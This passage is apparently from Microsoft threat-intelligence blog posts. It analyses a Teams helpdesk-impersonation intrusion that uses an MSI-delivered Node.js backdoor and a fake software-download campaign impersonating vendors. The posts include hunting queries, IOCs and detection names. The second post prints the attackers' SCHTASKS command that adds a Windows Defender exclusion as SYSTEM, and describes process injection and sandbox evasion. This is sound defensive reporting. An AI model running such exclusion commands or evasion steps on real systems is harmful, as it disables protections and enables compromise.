Because interaction occurs within an enterprise collaboration platform rather than through traditional email, it could bypass the initial skepticism associated with unsolicited external communication. The lure varies, for example “Microsoft Security Update,” “Spam Filter Update,” “Account Verification,” or tasks required to stop deactivation of an account, but the objective is consistent: convince the user to ignore external-contact flags, launch a remote management session, and accept elevation. Voice phishing (vishing) is sometimes layered to increase trust or compliance, or so malicious instructions or URLs never enter the chat logs.

Figure 2. External Teams contact impersonating IT support.

With user consent obtained through social engineering, the threat actor gains interactive control of the device using a remote support tool. From the user’s perspective, they are guided to open the remote-assistance application, enter a short key, and follow prompts to grant access.

Figure 3. Quick Assist with security code.

The urgency and interactivity are the signal: a remote-assist process tree followed immediately by cmd.exe or PowerShell on the same desktop. In vishing scenarios, the threat actor might talk the victim through the process to prevent logging of malicious instructions.

Stage 2: Remote session and malicious MSI delivery

Immediately after establishing control, the threat actor uses PowerShell within the remote session to download a malicious MSI package from threat actor-controlled cloud storage and installs it silently. The installer is disguised with benign, update-themed names such as “devfix” or “Hotfix,” reinforcing the helpdesk pretext.

The payload is hosted on a widely used cloud storage platform, allowing the download to blend in with legitimate traffic and benefit from a trusted domain reputation. The /qn switch suppresses all installer UI so the victim sees no indication that software is being installed.

Stage 3: MSI staging and Node.js runtime acquisition

Upon installation, the MSI retrieves a portable Node.js runtime directly from the official Node.js distribution and extracts it into a randomly named directory under the user’s local application data. Downloading a legitimate, signed runtime from a trusted source lets the threat actor run a full JavaScript execution environment without deploying custom binaries that might attract scrutiny.

The MSI installs a script-based loader and a separate encrypted implant file in the current user’s LocalAppData directory. The encrypted implant is packaged within the MSI rather than downloaded separately. At runtime, the loader decrypts the JavaScript implant either in memory or into a temporary JavaScript file. This separation of a legitimate runtime from the malicious script allows the initial backdoor to execute as interpreted JavaScript while additional native payloads can be delivered later through operator tasking.

Stage 4: Script-based bootstrap and encrypted implant execution

The MSI schedules a deferred, asynchronous custom action immediately after installing its files. The action starts hidden bootstrap code through PowerShell, cmd.exe, or WScript and then launches Node.js from LocalAppData. The loader decrypts a separate high-entropy data file and executes the resulting JavaScript either through standard input or by loading a temporary JavaScript file.

Endpoint activity shows Node.js, or a renamed copy whose original file metadata identifies it as Node.js, executing a staged script loader from LocalAppData. The loaders and encrypted payload files use nonstandard extensions such as .tmp, .ini, .dat, .bin, or .cfg. After decrypting the payload, the loader either provides JavaScript to Node.js through standard input or writes a temporary .js file and loads it into the running Node process.

By using a signed Node.js runtime, including renamed copies of the runtime, to execute nonstandard-extension loaders or JavaScript supplied through standard input, the threat actor can evade controls focused only on unsigned executables and conventional script extensions.

Stage 5: Per-user persistence

The analyzed MSI packages established per-user persistence using update-themed entries. Observed installers created either an HKEY_CURRENT_USER Run value or a shortcut in the current user’s Startup folder. Both mechanisms used the name EdgeUpdate and launched a Node.js loader from LocalAppData when the user signed in.

The Startup-folder implementation launched WScript with the staged JScript wrapper, portable Node.js runtime, and nonstandard-extension loader. The Run-key implementation invoked the portable Node.js runtime directly.

Stage 6: Command-and-control and operator tasking

Once running, the implant establishes communication with its C2 server and begins receiving JavaScript tasking. Observed threat actor issued tasks launched short-lived cmd.exe and PowerShell processes to perform a burst of host reconnaissance, hardware and locale details, installed antivirus products, and disk information.

The querying of the display adapter name and installed antivirus is characteristic of sandbox and defense evasion checks. Generic virtual display adapters and analysis tooling are common tells of an automated analysis environment.

The recovered implant communicates through randomized HTTPS long-polling requests. Responses from the C2 server are treated as JavaScript source and executed dynamically with access to Node.js module loading, process execution, environment variables, buffers, and the file system.

Through JavaScript tasking delivered by the C2 server, operators repeatedly captured the victim’s screen, resized the image, encoded it as Base64, and wrote it to a temporary file before exfiltration. Screenshots are captured at varying scale factors to balance image quality against transfer size.

Representative screen-capture command (sanitized). Dormant blockchain-based C2 discovery

The analyzed implants also contained dormant logic capable of querying an Ethereum smart contract for an updated C2 URL. This functionality was disabled in the recovered builds, which instead used a hard-coded fallback server. The contract stores only a URL string and does not contain or execute the malware payload.

Stage 7: Domain discovery and reconnaissance

With a foothold validated, the operator uses C2-delivered tasking to expand reconnaissance into Active Directory. Native commands enumerate specific domain accounts, while ADSI searches identify domain-joined servers and collect user description attributes, which can contain operational notes, privileged-account context, or other sensitive information.

An ADSI-based sweep enumerates Windows Server computer objects, resolves their addresses, and probes each for administrative reachability, effectively building a live map of high-value targets:

A second ADSI query enumerates all user objects and their description attributes:

The use of randomized sleep jitter and CIM-based reachability checks indicates a deliberate, operator-driven effort to enumerate the domain quietly rather than through noisy, high-volume scanning.

Stage 8: Follow-on payload execution

Using commands delivered through the Node.js backdoor, the operator executes additional payloads through rundll32.exe, loading threat actor-supplied DLLs by invoking exported functions with a token argument. Using rundll32 to execute malicious DLL exports is a well-established defense-evasion and proxy-execution technique.

The DLLs are given short, innocuous names and are invoked with an exported function (open) and a per-execution token, consistent with modular loaders that gate execution behind a runtime-supplied key.

Stage 9: Lateral movement via WinRM toward high-value assets

Following local execution and discovery, operator-issued tasking executed through the Node.js backdoor initiated internal remote-management connections over WinRM on TCP port 5985 to a large set of domain-joined systems. The target list spans dozens of hosts across multiple regions and roles, including file servers, database and application servers, and, critically, domain controllers and certificate authorities.

The use of WinRM from a non-administrative application context strongly suggests credential-backed lateral movement directed by an external operator. Targeting identity-centric infrastructure, domain controllers and certificate authorities, at this stage reflects a shift from initial foothold toward broader enterprise control, and is a hallmark of intrusions that precede large-scale data theft or ransomware deployment.

Mitigation and response recommendations

This campaign relies less on platform exploitation and more on persuading users to initiate trusted remote-access workflows within legitimate collaboration tools. Organizations should treat any unsolicited external support contact as inherently suspicious and implement layered defenses across the identity, endpoint, and collaboration layers.

• Reinforce user education. Establish internal helpdesk authentication phrases and train employees to recognize external-tenant indicators and to never grant remote access or run commands provided by an unsolicited contact.
• Verify unsolicited support contact. Treat any unsolicited external Microsoft Teams chat or call claiming to be IT or helpdesk as suspicious, and verify the request through a known internal channel before granting remote access. Restrict Teams external access to trusted domains only.

• Harden Microsoft Teams and email against social engineering. Use Microsoft Defender for Office 365 with Safe Links and Zero-hour auto purge (ZAP) so malicious messages and URLs are neutralized at time of click and removed after delivery.
• Microsoft Teams: Apply the Security best practices for Microsoft Teams, revisit your external collaboration policies, and make sure users see clear external sender notifications when engaging with cross-tenant contacts. Require device- or identity-based access checks before any remote support session is granted.
• Enforce phishing-resistant access controls. Require MFA and compliant or managed devices through Microsoft Entra Conditional Access to limit the value of credential-backed remote sessions established through social engineering.
• Deploy attack surface reduction rules. Enable ASR rules that block executable content from email and scripting interpreters, process creation from PowerShell/WScript/cmd, and execution of downloaded content to disrupt MSI- and script-based staging.
• Restrict administrative protocols. Limit WinRM (TCP 5985) to authorized management workstations and alert on WinRM initiated from user-context or non-administrative processes.
• Turn on network and web protection. Enable network protection and web protection in Microsoft Defender for Endpoint to block connections to threat actor infrastructure and cloud-hosted staging endpoints used for payload delivery and C2.
• Enable cloud-delivered protection. Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving threat actor tooling; cloud-based machine learning helps detect and block newly observed threats.
• Control remote support tooling. Limit or monitor remote monitoring and management (RMM) and interactive remote-support software, and control which remote-assistance tools are permitted in the environment.
• Investigate and rotate credentials. Organizations that find indicators of this campaign should assume the operator obtained network-level access through the compromised host and prioritize credential rotation for any credentials accessible from the affected machine, including domain admin accounts if the host was domain-joined.

Microsoft Defender XDR detections

Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps. The representative alerts below can surface activity associated with this campaign. Alert titles are illustrative and may vary by environment and product version.

Tactic Observed activity Microsoft Defender coverage Initial access External Teams chat or call from an IT/helpdesk persona operating in a separate tenant Microsoft Defender for Cloud Applications / Office 365
– Microsoft Teams chat initiated by a suspicious external user
– IT Support Teams Voice phishing following mail bombing activity
– A user clicked through to a potentially malicious URL.
– A potentially malicious URL click was detected.
– Suspicious Teams Chat likely involved in remote management and dangerous commands

Microsoft Defender for Endpoint
– Possible initial access from an emerging threat Execution PowerShell downloads and silently installs an MSI Microsoft Defender Antivirus
– Trojan:PowerShell/PowExec.MX!MTB
– Trojan:Win32/FakeAll!MTB
– Trojan:JS/FakeAll.DA!MTB
– Trojan:JS/FakeAll.DB!MTB

Microsoft Defender for Endpoint
– Possible initial access from an emerging threat Execution Portable Node.js runtime executes an obfuscated loader from LocalAppData; observed execution includes WScript, nonstandard script extensions, renamed Node.js copies, and standard-input execution. Microsoft Defender Antivirus
– Trojan:JS/SynkLoader.SA
– Trojan:JS/EtherRatz.A!MTB
– Trojan:JS/EtherRatz.B!MTB

Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious JavaScript process Defense evasion Silent msiexec install and rundll32 loading threat actor-supplied DLLs Microsoft Defender Antivirus
– Trojan:Win32/SynkLoader.SA

Microsoft Defender for Endpoint
– Low-reputation arbitrary code executed by signed executable
– Suspicious process launch by Rundll32.exe Discovery WMI/ADSI host and Active Directory enumeration and periodic screen capture Microsoft Defender for Endpoint
– Suspicious screen capture activity
– Suspicious LDAP query
– Suspicious Active Directory enumeration
– Possible hands-on-keyboard pre-ransom activity
– Anomalous account lookups
– Possible hands-on-keyboard pre-ransom activity Lateral movement WinRM (TCP 5985) pivot toward domain controllers and certificate authorities Microsoft Defender for Endpoint
– Suspicious WinRM activity was observed Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate investigation and response tasks related to this threat. Useful promptbooks for this activity include Incident investigation, Microsoft User analysis, Threat actor profile, Threat intelligence 360 report, and Vulnerability impact assessment. Some promptbooks require access to Microsoft Defender XDR, Microsoft Sentinel, or related Microsoft security plugins.

For this campaign, Security Copilot can help analysts summarize affected devices where Node.js or a renamed Node.js runtime executed a staged loader from a user-writable path, reconstruct the Teams-to-remote-session-to-MSI delivery chain, and build containment and credential-rotation plans for affected domain-joined endpoints.

Threat intelligence reports

Microsoft customers can use Microsoft Defender XDR Threat Analytics and related Microsoft threat intelligence reporting to stay current on the malicious activity, indicators, detection coverage, and recommended response actions associated with this campaign.

For campaign-specific intelligence, see Threat Analytics: Teams-based helpdesk impersonation delivers MSI loader and Node.js implant for hands-on-keyboard intrusion (View report). These reports provide investigation context, protection guidance, and updated intelligence that security teams can use to prevent, mitigate, or respond to related activity in their environments.

Advanced hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to locate related activity. Tune time windows, tool lists, and filters for your environment.

External Teams activity

Sender, Recipient, and ThreadId can be used for pivoting other useful information. CloudAppEvents is useful for searching first contact information.

CloudAppEvents | where Timestamp > ago(7d) // optional time filters between ([_startTime] .. [_endTime]) | where Application == "Microsoft Teams" | where ActionType == "ChatCreated" | where IsExternalUser == true | extend ThreadCreatorUpn = tostring(RawEventData.Members[0].UPN) ,ThreadCreatorDisplayName = tostring(RawEventData.Members[0].DisplayName) ,ThreadCreatorOrganizationId = tostring(RawEventData.Members[0].OrganizationId) ,TRecipient1Upn = tostring(RawEventData.Members[1].UPN) ,Recipient1DisplayName = tostring(RawEventData.Members[1].DisplayName) ,Recipient1OrganizationId = tostring(RawEventData.Members[1].OrganizationId) ,Recipient2Upn = tostring(RawEventData.Members[2].UPN) ,Recipient2DisplayName = tostring(RawEventData.Members[2].DisplayName) ,Recipient2OrganizationId = tostring(RawEventData.Members[2].OrganizationId) ,ThreadId = tostring(RawEventData.ChatThreadId) | summarize by ThreadCreatorUpn, ThreadCreatorDisplayName, ThreadCreatorOrganizationId, TRecipient1Upn, Recipient1DisplayName, Recipient1OrganizationId, Recipient2Upn, Recipient2DisplayName, Recipient2OrganizationId, ThreadId, tostring(IsExternalUser), tostring(IsImpersonated)

MessageEvents, CallActivityEvents, MessageUrlInfo, and others can be searched alone or in a union to correlate threads with messages and calls.

let _threadIds = pack_array( "19:[thread]", "19:[thread]", "19:[thread]"); union MessageEvents, CallActivityEvents, MessageUrlInfo | where ThreadId in (_threadIds) or TeamsMessageId has_any (_threadIds) | sort by ThreadId, TeamsMessageId asc PowerShell writing an MSI to a user-writable path DeviceFileEvents | where Timestamp > ago(7d) | where InitiatingProcessParentFileName =~ "explorer.exe" | where InitiatingProcessFileName =~ "powershell.exe" | where FileName endswith ".msi" where FolderPath contains @"\Downloads\" or FolderPath contains @"\AppData\" or FolderPath contains @"\Temp\" node.exe executing a staged payload from user-writable paths DeviceProcessEvents | where Timestamp > ago(7d) | where FileName =~ "node.exe" | where ProcessCommandLine has @"\AppData\Local\" and ProcessCommandLine !contains ".js" | where InitiatingProcessFileName =~ "wscript.exe" | where InitiatingProcessCommandLine has_all (@"\AppData\Local\", "node.exe", ".js") Screen capture via hidden PowerShell writing Base64 to a temp file DeviceProcessEvents | where Timestamp > ago(7d) | where InitiatingProcessParentFileName =~ "node.exe" or InitiatingProcessFileName =~ "node.exe" | where FileName in~ ("powershell.exe", "cmd.exe") | where ProcessCommandLine has_all ("CopyFromScreen", "ToBase64String", "System.Drawing.Bitmap", "System.Drawing", "WriteAllText") | project Timestamp, DeviceName, AccountName, ProcessCommandLine | order by Timestamp desc WinRM lateral movement from a non-administrative process DeviceNetworkEvents | where Timestamp > ago(7d) | where InitiatingProcessFileName =~ "powershell.exe" | where InitiatingProcessCommandLine endswith "-NoLogo -NoProfile -ExecutionPolicy Bypass" | where RemoteUrl endswith ":5985/wsman" MITRE ATT&CK Techniques observed

The following table maps the observed activity to MITRE ATT&CK techniques:

Tactic Technique ID Technique Observed activity Initial Access T1566.003 Phishing: Spearphishing via Service External Teams chat/call impersonating IT helpdesk Execution T1059.001 Command and Scripting Interpreter: PowerShell PowerShell used to download and install the MSI Execution T1059.007 Command and Scripting Interpreter: JavaScript Malicious JavaScript implant run via node.exe Execution T1218.007 System Binary Proxy Execution: Msiexec Silent MSI installation via msiexec /qn Execution T1218.011 System Binary Proxy Execution: Rundll32 Follow-on DLL payloads executed via rundll32 Defense Evasion T1036 Masquerading Update/helpdesk-themed MSI names (devfix, Hotfix) Defense Evasion T1497.001 Virtualization/Sandbox Evasion: System Checks Display adapter and antivirus product queries Discovery T1082 System Information Discovery systeminfo, MachineGuid, ProductName, disk inventory Discovery T1016 System Network Configuration Discovery net session, net use, domain membership checks Discovery T1087.002 Account Discovery: Domain Account net user /domain and ADSI user enumeration Discovery T1018 Remote System Discovery ADSI server enumeration with reachability probing Discovery T1518.001 Security Software Discovery Antivirus product enumeration via SecurityCenter2 Collection T1113 Screen Capture Periodic Base64-encoded desktop screenshots Command and Control T1071.001 Application Layer Protocol: Web Protocols Randomized HTTPS long-polling used for core C2; separate post-compromise tasking installed the ws package for an additional or optional capability. Command and Control T1105 Ingress Tool Transfer Portable Node.js runtime downloaded and JavaScript tasks received from C2; the initial loader and encrypted implant are extracted from the MSI. Lateral Movement T1021.006 Remote Services: Windows Remote Management WinRM (5985) pivoting to domain-joined systems Indicators of Compromise (IOCs)

The following indicator types were observed in this campaign. Environment-specific values (paths, hostnames, and account names) have been generalized; defenders should hunt for the corresponding behaviors and patterns in their own telemetry.

File indicators Indicator (SHA-256) Description 4cfdcae6dd1d6d98b870c8f0654d504f2bf10479a117dc297de789c249dc389d Malicious MSI loader package (silent msiexec install) a4d145a6347e47d40b3ca48af5c6dba01bf019d0110e31a44bb70fc77d1d1676 Malicious MSI loader package cc6d0f3f47afeba018173604e34f527e8413d3a54ffb35caed529bff49055ec5 Malicious MSI loader package 0d2fc28af246f62f27e49207d1f64e236ad9ea029412b27877d1ae6c098e86e3 Second-stage DLL (rundll32-loaded module) 69e10e0cb7bb2137ebea12971adb02c662cf5543a4f8c9530812bcbf7b183a23 Second-stage DLL (rundll32-loaded module) a135fe4df18c711097e69b4f27ea32a74a955160bf2fb12da841f21866d95d87 Second-stage DLL (rundll32-loaded module) Payload delivery infrastructure Indicator Type Description update1n5[.]blob.core.windows.net Domain Azure Blob Storage endpoint hosting the malicious MSI loader update1n6[.]blob.core.windows.net Domain Azure Blob Storage endpoint hosting the malicious MSI loader update1n7[.]blob.core.windows.net Domain Azure Blob Storage endpoint hosting the malicious MSI loader update1n9[.]blob.core.windows.net Domain Azure Blob Storage endpoint hosting the malicious MSI loader updatetmp[.]blob.core.windows.net Domain Azure Blob Storage endpoint hosting the malicious MSI loader Command-and-control infrastructure Indicator Type Descriptionsynctimes[.]australiaeast[.]cloudapp[.]azure[.]comDomain Hardcoded fallback C2 and latest URL stored in the associated Ethereum contractwebwether[.]eastus[.]cloudapp[.]azure[.]com Domain Earlier URL stored in the Ethereum contractdssdfvsdfvsdfvsdgbfbdvdzv[.]org Domain Earlier URL stored briefly in the Ethereum contract Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails

The post Impersonating IT support: how threat actors turn a remote session into enterprise-wide access appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Campaign scope and targeting
3. Mitigation and protection guidance
4. References
5. Learn more

Microsoft Defender Experts is tracking an active malware campaign that uses counterfeit software-download websites to impersonate trusted vendors and distribute malicious installers. The campaign has targeted users looking to download popular software and has resulted in compromises across multiple organizations and industries, primarily affecting China-based operations of multinational organizations and Chinese-speaking users. Microsoft has observed victims across healthcare, manufacturing, gaming, technology, logistics, government, and education sectors.

Once executed, the malicious installers deploy malware that establishes persistence, attempts to weaken security protections, and communicates with attacker-controlled infrastructure. Microsoft assesses with moderate confidence that this activity is consistent with the publicly reported Silver Fox (also known as Yinhu, 银狐) fake software campaign but has not attributed it to a nation-state actor. Microsoft Defender detected and disrupted activity across multiple stages of the attack, including automated containment through attack disruption. Organizations should prioritize preventing downloads from untrusted software sources and ensure protections such as SmartScreen, network protection, tamper protection, and Microsoft Defender XDR are enabled to help identify, block, and respond to related activity.

Attack chain overview

The campaign follows a consistent attack chain from a spoofed vendor download page to a self-protecting, persistent implant. The stages below trace that chain — initial access, delivery, execution, persistence, privilege escalation, defense evasion, and command and control.

Figure 1. Diagram showing the campaign attack chain from spoofed download page to archive delivery, execution, persistence, defense evasion, and command-and-control. Campaign scope and targeting

Microsoft observed affected devices predominantly associated with China-based operations and Chinese-speaking users, consistent with the Chinese-language lure content and the .com.cn and .hl.cn infrastructure. Confirmed activity spans medical devices and healthcare, manufacturing, gaming, technology, logistics, government, and higher education across multiple organizations and industries.

Initial access: spoofed software-download sites

The entry point is a fraudulent software-download website that spoofs a legitimate vendor. In one case, endpoint telemetry captured a device navigating to the fake Razer page pc-razerzone[.]com[.]cn and downloading app_setup.6653004.zip from the delivery host gehie246[.]com/712down; two content-distinct copies of the same-named archive were written within roughly 69 seconds — a direct observation of server-side payload regeneration.

Across the estate, FileOriginReferrerUrl telemetry ties each downloaded archive to the impersonation page that served it and to rotating delivery hosts (yimxg25tiy[.]com/73inst, cc8ttkv35b[.]com/7qinst, n7b8t85zsg[.]com/ins711) and a suspected attacker-controlled Alibaba Cloud Object Storage Service (OSS) bucket. The lure domains predominantly use .com.cn, .hl.cn, and .cn and embed the impersonated brand name.

Delivery: a dynamically generated installer archive

The following examples illustrate how look-alike domains routed users to the same delivery infrastructure while preserving brand-specific lure pages.

When the user selects the download control, Microsoft Edge retrieves a malicious installer archive from a small set of dedicated delivery domains.

pc-razerzone[.]com[.]cn (spoofed Razer download site) → www[.]gehie246[.]com/712down → app_setup.6653004.zip → stage-one loader

A defining characteristic is that the archive keeps the same filename while its hash changes on every download — a strong indicator the payload is generated server-side, per request. Microsoft observed families of same-named archives (app_setup.*, zinst.*, zintall.*, intsoft.*, innstll.*) whose contents differ across downloads while the delivery URL stays constant; the full validated hash set is in the indicators of compromise below.

kaspersky-lab[.]hl[.]cn → hxxp://www.gehie246[.]com/712down pc-razerzone[.]com[.]cn → hxxp://www.gehie246[.]com/712down calibre-ebook[.]com[.]cn → hxxp://www.gehie246[.]com/712down Brand-impersonation infrastructure

The campaign runs a large, uniform set of vendor look-alike pages on .com.cn and .hl.cn domains, each cloning the real product’s branding and presenting a prominent “Download now” button. All funnel to the same delivery and payload infrastructure.

Impersonated brandSpoofed domain (defanged)CategoryRazer (Synapse driver)pc-razerzone[.]com[.]cnPeripherals / driversMicrosoft Edgeapp-microsoft-edge[.]com[.]cnBrowserKasperskykaspersky-lab[.]hl[.]cnSecurity softwareSejda PDFsejda[.]hl[.]cnProductivityNetEase Youdao Dictionarytranslate-youdao[.]hl[.]cnTranslationDiskGeniuszh-diskgenius[.]com[.]cnDisk utilityBaidu Netdisk (Pan)baidu-pan[.]com[.]cnCloud storageoCam Screen Recorderocam-pc[.]com[.]cnScreen capturedraw.iocn-drawio[.]com[.]cnDiagrammingSteelSeriessteelseries-cn[.]com[.]cnPeripheralsSogougw-sogou[.]com[.]cnInput methodCalibrecalibre-ebook[.]com[.]cnE-bookMindMaster (typosquat)mindmoster[.]com[.]cnMind-mappingOtherspc-codex, jinshan-cibapc, zh-tbtool, web-tbtool, zh-doubaosrf, ieway-cn (all [.]com[.]cn / [.]hl[.]cn)Various utilities

Although these domains impersonate unrelated vendors, they are not independently hosted. Infrastructure enrichment, corroborated by Microsoft telemetry where the two overlap, resolves them into two groupings. Six domains resolve within AS132839, spread across four unrelated netblocks and three registered country codes, and share a common pair of nameservers. Two further domains resolve within AS8796 in a single /21, using a different nameserver pair. One additional domain is served through a content delivery network (CDN), concealing its origin. Because hosting and Domain Name System (DNS) are frequently bundled by the same reseller, these are best read as two consistent procurement channels rather than two independent corroborating signals.

The practical implication for defenders is that netblock- and geography-based grouping will miss these relationships, while Autonomous System Number (ASN)-level analysis surfaces them.The autonomous system remains constant even where the address space and registered country vary. These are shared commercial hosting and DNS providers carrying substantial unrelated tenancy, so the ASN and nameserver should be treated as hunting pivots, not blocklist entries.

The following capture shows a representative impersonation page served by the campaign. The pages are high-fidelity clones of a legitimate vendor’s site with a prominent download call-to-action.

Figure 2b. Counterfeit Microsoft Edge download page hosted on the look-alike domain app-microsoft-edge[.]com[.]cn, with a prominent download button. Execution: a wrapped installer drops a randomized stage-one payload

The wrapper installer creates a randomized executable path while reusing stable payload content, making names unreliable but behavior and hashes useful for detection.

Opening the archive yields a wrapper installer whose name follows a generated pattern (for example, a_instapp83353001.exe or ainst8663586104.exe).

Executing the wrapper creates and launches a stage-one payload at a randomized path under a world-writable or system location; the directory and file names are randomized, but the payload content is stable. The same stage-one 256-bit Secure Hash Algorithm (SHA-256) (676a2a7b94ca…) was observed under many names and paths.

C:\Users\Public\sE94yD\aLcUaw.exe (SHA-256 676a2a7b94ca… stage-one) C:\Users\Public\nvdPX5\2b3L5i.exe (SHA-256 676a2a7b94ca… stage-one) C:\Program Files (x86)\i3LH90\ErNGxW.exe (SHA-256 6d6ba2bc9ad4… later-stage) C:\Program Files (x86)\Q8Maj\7EIr6VA.exe (SHA-256 6d6ba2bc9ad4… later-stage) C:\ProgramData\zsMmvukD\beuv4Mie.exe (SHA-256 c6100166e2d3… persistent)

The end-to-end chain is visible as a parent-to-child process tree: msedge.exe writes the archive, an archiving tool (7zFM.exe, 360zip.exe, or WinRAR.exe) extracts it, the bundled wrapper runs, and the wrapper launches the randomized stage-one payload.

msedge.exe downloads app_setup.6653004.zip └─ 7zFM.exe / 360zip.exe / WinRAR.exe (user opens the downloaded archive) └─ a_instapp83353001.exe (wrapper installer bundled in the archive) └─ C:\Users\Public\yZ6A88\9bEELI.exe (stage-one payload, randomized)

Payloads are masqueraded; Microsoft confirmed the masquerade through file metadata on the later-stage payload (SHA-256 6d6ba2bc…), staged at C:\Program Files (x86)\<random>\. The binary’s version resource declares CompanyName: “Speech Processing Solutions GmbH”, FileDescription: “Philips Speech Driver Client Configuration”, OriginalFileName: PhilipsSpeechDriverConfiguration.exe, and ProductVersion: 4.7.471.07,while executing from a randomized directory under a randomized file name. The same resource retains an unfilled build-template placeholder, ProductName: “TODO: <Product name>”, indicating the version information was fabricated for the payload rather than inherited from genuine vendor software. Microsoft also observed svchost.exe executing from a non-system path (D:\hellothere\svchost.exe) rather than C:\Windows\System32.

FileName XPSPLOG.dll FolderPath C:\Program Files (x86)\72q1o6\XPSPLOG.dll InitiatingProcessFileName 40gK5T.exe InitiatingProcessFolderPath C:\Program Files (x86)\72q1o6\40gK5T.exe InitiatingProcessSHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8 InitiatingProcessCommandLine "40gK5T.exe" InitiatingProcessVersionInfoCompanyName Speech Processing Solutions GmbH InitiatingProcessVersionInfoFileDescription Philips Speech Driver Client Configuration InitiatingProcessVersionInfoOriginalFileName PhilipsSpeechDriverConfiguration.exe InitiatingProcessVersionInfoProductVersion 4.7.471.07 InitiatingProcessVersionInfoProductName TODO: InitiatingProcessParentFileName svchost.exe

A payload staged under C:\ProgramData\<random>\ (SHA-256 c6100166…) carries the version metadata of the Indigo Rose TrueUpdate Client (OriginalFileName: tu_rt.exe, ProductVersion: 3.8.0.0) and exhibits that product’s runtime behavior, writing _ir_tu2_temp_* artifacts to the user’s temp directory on each execution. Dropped by the later-stage payload and launched repeatedly by the Task Scheduler service, it connects to an attacker-controlled Alibaba Cloud OSS bucket over Transport Layer Security (TLS) and writes a further payload to a second randomized C:\ProgramData\ directory — a legitimate update mechanism repurposed for payload delivery.

00:24:43 ErNGxW.exe (6d6ba2bc…) creates C:\ProgramData\zsMmvukD\beuv4Mie.exe (c6100166…) 00:24:43 beuv4Mie.exe executes ← parent: svchost.exe -k netsvcs -p -s Schedule 00:24:44 beuv4Mie.exe → ConnectionSuccess | upitem.oss-cn-hangzhou.aliyuncs.com | 443 00:24:44 beuv4Mie.exe creates C:\ProgramData\uwMUCYBN\SaYC4Mga.exe (f33d160d…) 02:12:22 beuv4Mie.exe creates …\Temp\_ir_tu2_temp_4 ← TrueUpdate runtime artifact 02:44:20 beuv4Mie.exe re-executes (scheduled task) → _ir_tu2_temp_5 02:59:00 … _temp_6 03:15:54 … _temp_7 08:02:52 … _temp_8 08:32:20 … _temp_9 08:38:51 … _temp_11 Wrapper installerStage-one payload createda_instapp83353001.exeC:\Users\Public\yZ6A88\9bEELI.exez_instapp83351010.exeC:\Users\Public\Y93eny\Ge86Zr.exeainstaller-86533003.exeC:\Users\Public\Mmzm0e\Lrrhwp.exeainst8663586104.exeC:\Users\Public\YJMvsB\BcQVw7.exe Alternate execution vector: Windows Installer (msiexec)

In parallel with the wrapped-installer chain, Microsoft observed a second execution vector that uses the Windows Installer service. The installer performs its intended function; what the campaign gains is execution under a signed, trusted Windows component. The extracted installer invokes msiexec.exe in embedded mode, which writes and launches a randomized executable into a world-writable C:\Users\Public\<random>\ directory, the same masquerade pattern as the wrapper chain, but delivered through msiexec.exe.

msiexec.exe -Embedding E Global\MSI0000 └─ C:\Users\Public\\.exe (payload, randomized path/name)

The behavior is consistent and repeated: more than twenty distinct payload names were written this way, spawned by a range of parents including msedge.exe, explorer.exe, and svchost.exe.

Persistence and recurring execution: disguised scheduled tasks

Persistence and recurring execution are achieved through scheduled tasks whose display names imitate routine IT or productivity jobs (for example “Deadline Mission Target” and “Hierarchy Tools Smooth Inventory”), each launching a specific payload staged under C:\ProgramData\.

Each task launches a specific payload:

Scheduled task namePayload launched\Deadline Mission Target7fYptijy.exe\Hierarchy Tools Smooth Inventorybeuv4Mie.exe\Empowering Status Tools productivity AheadSaYC4Mga.exe\5nboFaLcUaw.exe (stage-one)

The persistent payloads are staged in locations such as C:\ProgramData\7fYptijy.exe, C:\ProgramData\zsMmvukD\beuv4Mie.exe, and C:\ProgramData\uwMUCYBN\SaYC4Mga.exe. Because the payloads are launched by the Task Scheduler service (parented to svchost.exe -k netsvcs -p -s Schedule) and multiple staggered tasks run per device, affected hosts exhibit a characteristic ~60-second re-execution cadence.

Privilege escalation: SYSTEM scheduled task and process injection

To perform privileged actions such as writing Microsoft Defender exclusions, the malware creates a short-lived scheduled task that runs as SYSTEM (SCHTASKS /Create … /RL HIGHEST /RU “SYSTEM”), executes the privileged action, then immediately runs and deletes the task

SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\NPq6k16Om\" /t REG_DWORD /d 0 /f" SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F

The /RL HIGHEST /RU “SYSTEM” combination elevates the exclusion write to SYSTEM, and the create-run-delete sequence minimizes the footprint of the helper task. Process injection was also observed. A persistent campaign payload (SHA-256 1bd3662d…), launched from C:\ProgramData\ by the Task Scheduler service, created a remote thread in a legitimate user application moments after that application started — executing payload code inside the context of a trusted process. Microsoft Defender detected the activity as A process was injected with potentially malicious code.

ActionType CreateRemoteThreadApiCall InitiatingProcessFileName .exe InitiatingProcessFolderPath C:\ProgramData\.exe InitiatingProcessSHA256 1bd3662d784840e410d2d3c0a1040277f7f549089447359f01e05c2559cb1f17 InitiatingProcessCommandLine ".exe" InitiatingProcessCreationTime 2026-07-13 02:44:20.887 InitiatingProcessParentFileName svchost.exe FileName .exe (target process) ProcessCommandLine ".exe" -autorun ProcessCreationTime 2026-07-13 02:44:37.568 AdditionalFields {"IntegrityLevel":8192}

The sequence below shows a single execution cycle end to end: the Task Scheduler service launches the payload, the payload immediately attempts command-and-control on two non-standard ports — both blocked at the host firewall — and, seventeen seconds later, injects into a user application within milliseconds of that application starting.

